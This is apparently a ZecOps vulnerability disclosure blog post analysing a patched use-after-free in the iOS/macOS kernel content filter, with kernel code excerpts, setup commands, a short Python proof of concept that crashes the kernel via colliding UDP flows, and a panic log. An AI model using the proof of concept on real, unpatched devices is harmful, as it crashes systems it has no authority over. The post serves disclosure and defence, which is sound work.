Suspected Bug Collision: iOS/OSX Content Filter Kernel UAF Analysis + POC


Follow zecops


The iOS 12.3/MacOS 10.14.5 version was released on May 13th, 2019. This update patched a Use-After-Free vulnerability in the XNU kernel that ZecOps Research Team has independently discovered in early May 2019.  However, at the time of writing, ZecOps Team is not aware whether a CVE was assigned to this vulnerability since it was patched during our preparations to disclose this vulnerability to Apple.

Based on ZecOps forensics intelligence, we suspect that threat actors are exploiting this vulnerability in the wild against Mobile Device Management (MDM) users. ZecOps continue the investigation to confirm this conclusively. As a precaution, ZecOps advises updating iOS/OS X devices to the latest software version.

Once the initial code execution had been achieved, this potent vulnerability allows complete device takeover. Furthermore, this vulnerability can be accessed from sandboxed processes and applications on supervised devices.

Vulnerability details

The Network Extension Control Policy (NECP) is described in /bsd/net/necp.c.

The goal of this module is to allow clients connecting via a kernel control socket to create high-level policy sessions, which are ingested into low-level kernel policies that control and tag traffic at the application, socket, and IP layers.”

Starting MacOS 10.14 and iOS 12, UDP support contains a Garbage Collection (GC) thread which is added to the Content Filter.

 * A user space filter agent uses the Network Extension Control Policy (NECP)
 * database to specify which TCP/IP sockets need to be filtered. The NECP
 * criteria may be based on a variety of properties like user ID or proc UUID.
 * The NECP "filter control unit" is used by the socket content filter subsystem
 * to deliver the relevant TCP/IP content information to the appropriate
 * user space filter agent via its kernel control socket instance.
 * This works as follows:
 * 1) The user space filter agent specifies an NECP filter control unit when
 *    in adds its filtering rules to the NECP database.

The function cfil_sock_udp_get_flow first lookups an existing entry (comment 1 in the code sample below) of a combination of Local Address/Port, and Remote Address/Port (laddr, lport, faddr, fport). If an existing entry does not exist, a new entry will be generated and inserted into the head of cfentry_link.

A cfdb_only_entry pointer always points to the latest entry (comment 2 below).

Later, the cfil_info_alloc allocates a new cfil_info object which contains a unique identifier cfil_sock_id, then inserts the cfil_info into the tail of a linked-list called cfi_link (comment 3).

struct cfil_hash_entry *
cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote)
    // See if flow already exists.
    hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry
    if (hash_entry != NULL) {
		return (hash_entry);

    hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2
    if (hash_entry == NULL) {
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");
		return (NULL);

    if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3
        hash_entry->cfentry_cfil == NULL) {
        cfil_db_delete_entry(so->so_cfil_db, hash_entry);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");
        return (NULL);

The GC thread wakes up every 10 seconds, it adds the sock_id of the expired sockets into a list called expired_array (Comment [a] below), then frees the cfil_info in the expired_array in another loop (Comment ).

cfil_info_udp_expire(void *v, wait_result_t w)

    TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {
        if (expired_count >= UDP_FLOW_GC_MAX_COUNT)

        if (IS_UDP(cfil_info->cfi_so)) {
            if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||
                cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||
                cfil_info_buffer_threshold_exceeded(cfil_info)) {
                expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]

    if (expired_count == 0)
        goto go_sleep;

    for (uint32_t i = 0; i < expired_count; i++) {

        // Search for socket (UDP only and lock so)
        so = cfil_socket_from_sock_id(expired_array[i], true);//[b]
        if (so == NULL) {

        cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]);
        cfil_db_delete_entry(db, hash_entry);

The cfdb_only_entry should be set to NULL in function cfil_db_delete_entry. However the db->cfdb_only_entry = NULL;(line 25) is never executed.

Upon a closer look at the cfil_db_get_cfil_info function, a different path will be executed when only a single entry is left (fast path) for better performance.

struct cfil_info *
cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id)
    struct cfil_hash_entry *hash_entry = NULL;


	// This is an optimization for connected UDP socket which only has one flow.
	// No need to do the hash lookup.
	if (db->cfdb_count == 1) { //fast path
		if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&
			db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {
			return (db->cfdb_only_entry->cfentry_cfil);

	hash_entry = cfil_db_lookup_entry_with_sockid(db, id);
	return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL);

If two different cfil_info objects have the same cfil_sock_id, the following flow occurs:

In the 1st loop cfil_db_get_cfil_info returns entry2 which is the first element of the cfentry_link that will be freed in later execution;
In the 2nd loop cfil_db_get_cfil_info goes into the fast path and returns the object pointed by cfdb_only_entry which is the freed entry2, so the kernel will panic in later execution as a result of a Use-After-Free vulnerability.

+--------------------+       +-----------------+
|   entry 2         <--------+ cfdb_only_entry |
+--------------------+       +-----------------+
|   entry 1          |

Vulnerability Reproduction

In order to generate the cfil_sock_id collision, we need to know how the cfil_sock_id was built.

The cfi_sock_id is calculated by so_gencnt, faddr, laddr, fport, lport.

so_gencnt is the generation count for sockets and it remains the same for a single socket. The higher 32 bits are from so_gencnt, and the lower 32 bits are an XOR operation result based on laddr, faddr, lport, and fport.

#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport))
hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr;
hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr;
entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,
// This is the UDP case, cfil_info is tracked in per-socket hash
cfil_info->cfi_so = so;
hash_entry->cfentry_cfil = cfil_info;
cfil_info->cfi_hash_entry = hash_entry;
cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff));
CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",
         inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);

Sending two identical UDP requests will only generate one cfil_info object and at least one of the laddr, lport, faddr, fport should be different so the function cfil_sock_udp_get_flow doesn’t return immediately after cfil_db_lookup_entry.

struct cfil_hash_entry *
cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote)
        if (nextentry->cfentry_lport == matchentry.cfentry_lport &&
            nextentry->cfentry_fport == matchentry.cfentry_fport &&
            nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&
            nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {
            return nextentry;

In summary, in order to reproduce this panic, we need to send two UDP requests that meet the following prerequisites:

  1. Identical so_gencnt, which means the same socket object;
  2. Identical flowhash;
  3. Different addresses or ports.

The requirements can be fulfilled by crafting the faddr, fport value.

POC Setup Environment

Running the PoC on your MacOS might not take effect unless your device has MDM enabled. To trigger the vulnerability, the device should meet the following conditions:

  1. At least one Content Filter is attached.
  2. A NECP policy which affects UDP requests is added to the NECP database.
  3. The affected NECP policy and the attached Content Filter have the same filter_control_unit.
cfil_sock_udp_handle_data(bool outgoing, struct socket *so,
                          struct sockaddr *local, struct sockaddr *remote,
                          struct mbuf *data, struct mbuf *control, uint32_t flags)

    if (cfil_active_count == 0) {//[a]
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");
        return (error);
    filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]
    if (filter_control_unit == 0) {
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");
        return (error);
    hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);
    if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {
		CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");
        return (EPIPE);

The content filter is not activated by default and to attach it manually, we need to run Apple’s network-cmds cfilutil. Please note that cfilutil is not a pre-installed tool and you might want to compile it from the source code.

The following command activates the content filter in a way that the check in line [a] would pass.

sudo cfilutil -u [control_unit]

Control_unit is an integer value that should be the same as the filter_control_unit as in the NECP policy.

sudo cfilutil -u 100

Proof of Concept Code

The PoC code is surprisingly simple, only a few lines of Python code are required to implement it. The device will panic in a few seconds after running the PoC code. The address&port pair in the PoC is different while having the same flowhashin Content Filter:

# PoC - CVE-2019-XXXX by ZecOps Research Team ©
# © - Find and Leverage Attacker’s Mistakes&#x2122; 
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
address = ('', 8080)
s.sendto(msg, address)

address = ('', 7824)
s.sendto(msg, address)

The following panic was generated on OS X following an execution of the POC:

*** Panic Report ***
panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0
RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000
RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000
R8:  0x0000001078d5b42a, R9:  0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000
R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88
RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0

Backtrace (CPU 0), Frame : Return Address
0xffffff800bd5d280 : 0xffffff800be8e46d 
0xffffff800bd5d2d0 : 0xffffff800c025436 
0xffffff800bd5d310 : 0xffffff800c014a62 
0xffffff800bd5d380 : 0xffffff800be29ae0 
0xffffff800bd5d3a0 : 0xffffff800be8db2b 
0xffffff800bd5d4d0 : 0xffffff800be8d953 
0xffffff800bd5d540 : 0xffffff800c014cae 
0xffffff800bd5d6b0 : 0xffffff800be29ae0 
0xffffff800bd5d6d0 : 0xffffff800c285638 
0xffffff8067563fa0 : 0xffffff800be290ce 

BSD process name corresponding to current thread: kernel_task


After the patch of MacOS 10.14.5/iOS 12.3, the db->cfdb_only_entry = NULL;(line 18), can be correctly executed


ZecOps Threat Forensics Team advises updating iOS devices to the latest version.  This should break the exploit chain which leverages this vulnerability and make it no longer functional. As a result, threat actors that leverage this vulnerability on affected MDM devices will lose persistency. As a result, compromised devices following Apple’s iOS update will get disinfected. If you suspect that your devices were attacked by an exploit that leverages this vulnerability, please reach out to ZecOps here.

Partners, Resellers, Distributors and Innovative Security Teams: We’re still in stealth mode, but… we are already working with leading organizations globally. If you wish to learn more about what we do and what fresh vibes we bring to defensive cyber security, contact us here.

Researchers: If you get excited about bugs, vulnerabilities, exploits reproduction, and Digital Forensics and Incident Response (DFIR) like we do, don’t forget to register to ZecOps Reverse Bounty program here.

mobile edr gui

ZecOps Mobile EDR

Perform automated investigations in minutes to uncover cyber-espionage on smartphones and tablets.

Learn more >

Partners, Resellers, Distributors and Innovative Security Teams

ZecOps provides the industry-first automated crash forensics platform across devices, operating systems and applications.

Learn more >